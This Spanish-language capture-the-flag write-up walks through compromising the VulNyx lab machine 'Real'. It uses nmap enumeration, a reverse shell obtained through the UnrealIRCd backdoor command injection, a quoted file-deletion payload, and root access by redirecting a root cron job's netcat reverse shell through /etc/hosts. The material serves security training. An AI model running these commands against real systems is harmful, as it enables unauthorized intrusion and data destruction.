VulNyx - Real
Information
Real es una máquina virtual vulnerable Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.

Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:56 CET
Nmap scan report for 192.168.1.59
Host is up (0.00072s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6667/tcp open irc
6697/tcp open ircs-u
8067/tcp open infi-async
❯ nmap -sVC -p22,80,6667,6697,8067 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:56 CET
Nmap scan report for 192.168.1.59
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 db:28:2b:ab:63:2a:0e:d5:ea:18:8d:2f:6d:8c:45:2d (RSA)
| 256 cd:a1:c3:2e:20:f0:f3:f6:d3:9b:27:8e:9a:2d:26:11 (ECDSA)
|_ 256 db:98:69:a5:8b:bd:05:86:16:3d:9c:8b:30:7b:a3:6c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
Shell (server)
6667/TCP (UnrealIRCd)
CVE-2010-2075
Detecto que es vulnerable con el script NSE irc-unrealircd-backdoor de nmap
❯ nmap -p6667 --script="irc-unrealircd-backdoor" 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:59 CET
Nmap scan report for 192.168.1.59
Host is up (0.00041s latency).
PORT STATE SERVICE
6667/tcp open irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Encuentro el siguiente exploit y revisando el código del mismo veo que el método de explotación es simple, envía vía socket la cadena AB + ; + COMANDO y posteriormente será interpretado
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
Reverse Shell
Envío el payload y obtengo una shell como usuario server
❯ echo "AB;nc -e /bin/sh 192.168.1.10 443" |nc 192.168.1.59 6667
:irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
:irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 41528
id ; hostname
uid=1000(server) gid=1000(server) groups=1000(server)
real
Privilege Escalation
Enumeration
Cron
Uso pspy para monitorizar tareas y procesos que se puedan estar ejecutando en el sistema, detecto que cada un minuto el usuario root (UID=0) ejecuta el script /opt/task
server@real:/dev/shm$ ./pspy64
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
2025/03/12 08:18:01 CMD: UID=0 PID=971 | /usr/sbin/CRON -f
2025/03/12 08:18:01 CMD: UID=0 PID=974 | /bin/bash /opt/task
Analizo /opt/task y veo que envía un ping al dominio shelly.real.nyx, si ese dominio se encuentra vivo enviará una reverse shell a dicho dominio por el puerto 65000/TCP
#!/bin/bash
domain='shelly.real.nyx'
function check(){
timeout 1 bash -c "/usr/bin/ping -c 1 $domain" > /dev/null 2>&1
if [ "$(echo $?)" == "0" ]; then
/usr/bin/nohup nc -e /usr/bin/sh $domain 65000
exit 0
else
exit 1
fi
}
check
Abuse
Dispongo de permisos de escritura en el archivo /etc/hosts, agrego el dominio shelly.real.nyx para que apunte a mi IP local
server@real:~$ cat /etc/hosts
127.0.0.1 localhost
1.2.3.4 real
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.1.10 shelly.real.nyx
Me pongo en escucha por el puerto 65000 y obtengo una shell como root
❯ nc -lvnp 65000
listening on [any] 65000 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 55392
id ; hostname
uid=0(root) gid=0(root) groups=0(root)
real
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt
root@real:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
3b7fb***************************
593ba***************************
Hasta aquí la resolución de la máquina Real.
Happy Hacking!